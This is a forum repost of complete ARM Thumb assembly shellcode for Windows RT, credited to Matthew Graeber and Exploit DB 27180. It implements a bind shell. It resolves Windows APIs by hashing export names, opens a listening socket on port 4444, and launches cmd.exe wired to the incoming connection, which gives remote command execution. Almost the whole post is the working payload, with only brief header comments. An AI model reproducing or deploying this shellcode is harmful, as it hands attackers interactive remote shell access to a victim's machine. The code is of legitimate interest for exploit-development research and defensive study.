Jump to content
net3design

Windows RT ARM Bind Shell

Recommended Posts

Posted

Windows_RT_logo.jpg

; Title: Windows RT ARM Bind Shell (Port 4444)

; Date: July 28, 2013

; Author: Matthew Graeber (@mattifestation)

; Blog post: Exploit Monday: Windows RT ARMv7-based Shellcode Development

; Tested on: Microsoft Surface RT Tablet w/ Windows RT (6.2.9200)

; License: BSD 3-Clause

; Syntax: MASM

; Notes: In order for this to work properly, you have to call this payload

; at baseaddress + 1 since it is thumb code.

; This was built with armasm.exe from Visual Studio 2012



AREA |.foo|, CODE, THUMB
; After linking, the resulting executable will only
; have a single section (with RX permissions) named .foo

EXPORT main

main
push {r4,lr} ; Preserve registers on the stack
bl ExecutePayload ; Execute bind shell function
pop {r4,pc} ; Restore registers on the stack and return to caller


GetProcAddress
; ARM (Thumb) implementation of the logic from the Metasploit x86 block_api shellcode
push {r1-r11,lr} ; Preserve registers on the stack
mov r9,r0 ; Save the function hash in R9
mrc p15,#0,r3,c13,c0,#2 ; R3 = &TEB
ldr r3,[r3,#0x30] ; R3 = &PEB
ldr r3,[r3,#0xC] ; R3 = PEB->Ldr
movs r6,#0 ; R6 = 0
ldr r1,[r3,#0xC] ; R1 = Ldr->InLoadOrderModuleList
ldr r4,[r1,#0x18] ; R4 = LDR_DATA_TABLE_ENTRY.DllBase
ldr r3,[r1,#0x2C] ; R3 = LDR_DATA_TABLE_ENTRY.BaseDllName
ldr r7,[r1,#0x30] ; R7 = LDR_DATA_TABLE_ENTRY.BaseDllName.Buffer
str r3,[sp] ; Store BaseDllName.Length/MaximumLength on the stack
cbz r4,exit_failure ; If DllBase == 0, you've likely reached the end of the module list. Return 0.
mov r10,#0xD ; R10 = ROR value (13)
mov r11,#0xD ; R11 = ROR value (13)
get_module_hash ; Improvement: Need to validate MaximumLength != 0
ldrh r5,[sp,#2] ; BaseDllName.MaximumLength
movs r2,#0 ; i = 0
cbz r5,get_export_dir ; Reached the last char of BaseDllName
ror_module_char
ldrsb r3,[r7,r2] ; R3 = (CHAR) *((PCSTR) BaseDllName.Buffer + i)
rors r0,r6,r10 ; Calculate the next portion of the module hash
cmp r3,#0x61 ; Is the character lower case?
blt notlowercase
adds r3,r3,r0 ; Add to the running hash value
subs r6,r3,#0x20 ; Convert character to upper case
b get_next_char
notlowercase
adds r6,r3,r0 ; Add to the running hash value
get_next_char
adds r2,#1 ; Move to the next character
cmp r2,r5 ; Reached the last character in the module name?
bcc ror_module_char ; If not, move on to the next character
get_export_dir
; At this point, the module hash has been calculated.
; Now begin calculating the function hash
ldr r3,[r4,#0x3C] ; IMAGE_DOS_HEADER.e_lfanew - i.e. offset to PE IMAGE_NT_HEADERS
adds r3,r3,r4 ; PIMAGE_NT_HEADERS
ldr r3,[r3,#0x78] ; IMAGE_DIRECTORY_ENTRY_EXPORT.VirtualAddress (only an RVA at this point)
cbz r3,get_next_module ; Move to the next module if it doesn't have an export directory (i.e. most exe files)
adds r5,r3,r4 ; Calculate export dir virtual address
ldr r3,[r5,#0x20] ; R3 = PIMAGE_EXPORT_DIRECTORY->AddressOfNames
ldr r7,[r5,#0x18] ; R7 = PIMAGE_EXPORT_DIRECTORY->NumberOfNames
movs r0,#0
adds r8,r3,r4 ; AddressOfNames VA
cbz r7,get_next_module ; Move on to the next module if there are no exported names
calc_func_hash
ldr r3,[r8],#4 ; R3 = Current name RVA
movs r2,#0
adds lr,r3,r4 ; lr = Current name VA
get_func_char
ldrsb r3,[lr] ; Load char from the function name
rors r2,r2,r11 ; Calculate the next portion of the function hash
adds r2,r2,r3 ; Add to the running hash value
ldrsb r3,[lr],#1 ; Peek at the next char
cmp r3,#0 ; Are you at the end of the function string?
bne get_func_char ; If not, calculate hash for the next char.
adds r3,r2,r6 ; Add the module hash to the function hash
cmp r3,r9 ; Does the calulated hash match the hash provided?
beq get_func_addr
adds r0,#1
cmp r0,r7 ; Are there more functions to process?
bcc calc_func_hash
get_next_module
ldr r1,[r1] ; LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Flink
movs r6,#0 ; Clear the function hash
; Improvement: The following portion is redundant
ldr r4,[r1,#0x18] ; R4 = LDR_DATA_TABLE_ENTRY.DllBase
ldr r3,[r1,#0x2C] ; R3 = LDR_DATA_TABLE_ENTRY.BaseDllName
ldr r7,[r1,#0x30] ; R7 = LDR_DATA_TABLE_ENTRY.BaseDllName.Buffer
cmp r4,#0 ; DllBase == 0?
str r3,[sp] ; Store BaseDllName.Length/MaximumLength on the stack
bne get_module_hash
exit_failure
movs r0,#0 ; Return 0 upon failure to find a matching hash
exit_success
pop {r1-r11,pc} ; Restore stack and return to caller with the function address in R0
get_func_addr
ldr r3,[r5,#0x24] ; R3 = PIMAGE_EXPORT_DIRECTORY->AddressOfNameOrdinals
add r3,r3,r0,lsl #1
ldrh r2,[r3,r4] ; R2 = Ordinal table index
ldr r3,[r5,#0x1C] ; R3 = PIMAGE_EXPORT_DIRECTORY->AddressOfFunctions
add r3,r3,r2,lsl #2
ldr r3,[r3,r4] ; Function RVA
adds r0,r3,r4 ; R0 = Function VA
b exit_success

ExecutePayload
; Improvement: None of the calls to GetProcAddress
; validate that a valid address was actually returned
; Metasploit shellcode doesn't perform this validation either.
push {r4-r11,lr} ; Preserve registers on the stack
subw sp,sp,#0x214 ; Allocate soace on the stack for local variables
movs r3,#0x44 ; sizeof(_PROCESS_INFORMATION)
add r2,sp,#0x38 ; R2 = &StartupInfo
movs r1,#0
init_mem1
; Improvement: I could just initialize everything on the stack to 0
strb r1,[r2],#1 ; Set current byte to 0
subs r3,#1
bne init_mem1
movs r3,#0x10 ; sizeof(_STARTUPINFOW)
add r2,sp,#0x28 ; R2 = &ProcessInformation
init_mem2
strb r1,[r2],#1 ; Set current byte to 0
subs r3,#1
bne init_mem2

ldr r0,HASH_LoadLibraryA
bl GetProcAddress
mov r3,r0
adr r0,module_name ; &"ws2_32.dll"
blx r3 ; LoadLibrary("ws2_32.dll");
ldr r0,HASH_WsaStartup
bl GetProcAddress
mov r4,r0
ldr r0,HASH_WsaSocketA
bl GetProcAddress
mov r5,r0
ldr r0,HASH_Bind
bl GetProcAddress
mov r6,r0
ldr r0,HASH_Listen
bl GetProcAddress
mov r7,r0
ldr r0,HASH_Accept
bl GetProcAddress
mov r8,r0
ldr r0,HASH_CloseSocket
bl GetProcAddress
mov r9,r0
ldr r0,HASH_CreateProcess
bl GetProcAddress
mov r10,r0
ldr r0,HASH_WaitForSingleObject
bl GetProcAddress
mov r11,r0
mov r0,#0x0202
add r1,sp,#0x80
blx r4 ; WSAStartup(MAKEWORD(2, 2), &WSAData);
movs r3,#0
movs r2,#0
movs r1,#1
movs r0,#2
str r3,[sp,#4]
str r3,[sp]
blx r5 ; s = WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
movs r3,#2 ; service.sin_family = AF_INET;
strh r3,[sp,#0x18]
movs r3,#0 ; service.sin_addr.s_addr = 0;
str r3,[sp,#0x1C]
mov r3,#0x5C11 ; service.sin_port = HTONS(4444);
movs r2,#0x10
add r1,sp,#0x18
strh r3,[sp,#0x1A]
mov r5,r0 ; WSASocketA returned socket (s)
blx r6 ; Bind( s, (SOCKADDR *) &service, sizeof(service) );
movs r1,#0
mov r0,r5
blx r7 ; Listen( s, 0 );
movs r2,#0
movs r1,#0
mov r0,r5
blx r8 ; AcceptedSocket = Accept( s, 0, 0 );
mov r4,r0
mov r0,r5
blx r9 ; CloseSocket( s ); Close the original socket
mov r3,#0x101 ; StartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
str r3,[sp,#0x64]
movs r3,#0x44 ; StartupInfo.cb = 68;
str r3,[sp,#0x38]
add r3,sp,#0x28
str r3,[sp,#0x14]
add r3,sp,#0x38
str r3,[sp,#0x10]
movs r3,#0
str r3,[sp,#0xC]
str r3,[sp,#8]
str r3,[sp,#4]
movs r3,#1
adr r1,cmdline ; &"cmd"
str r3,[sp]
movs r3,#0
movs r2,#0
movs r0,#0
str r4,[sp,#0x78] ; StartupInfo.hStdError = (HANDLE) AcceptedSocket;
str r4,[sp,#0x74] ; StartupInfo.hStdOutput = (HANDLE) AcceptedSocket;
str r4,[sp,#0x70] ; StartupInfo.hStdInput = (HANDLE) AcceptedSocket;
blx r10 ; CreateProcessA( 0, "cmd", 0, 0, TRUE, 0, 0, 0, &StartupInfo, &ProcessInformation );
ldr r0,[sp,#0x28]
mvn r1,#0
blx r11 ; WaitForSingleObject( ProcessInformation.hProcess, INFINITE );
addw sp,sp,#0x214
pop {r4-r11,pc}

HASH_WaitForSingleObject
DCD 0x601d8708
HASH_CreateProcess
DCD 0x863fcc79
HASH_CloseSocket
DCD 0x614d6e75
HASH_Accept
DCD 0xe13bec74
HASH_Listen
DCD 0xff38e9b7
HASH_Bind
DCD 0x6737dbc2
HASH_WsaSocketA
DCD 0xe0df0fea
HASH_WsaStartup
DCD 0x006b8029
HASH_LoadLibraryA
DCD 0x0726774c

cmdline
DCB "cmd", 0x0

module_name
DCB "ws2_32.dll", 0x0


END

Source : Exploit DB 27180 Windows RT

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...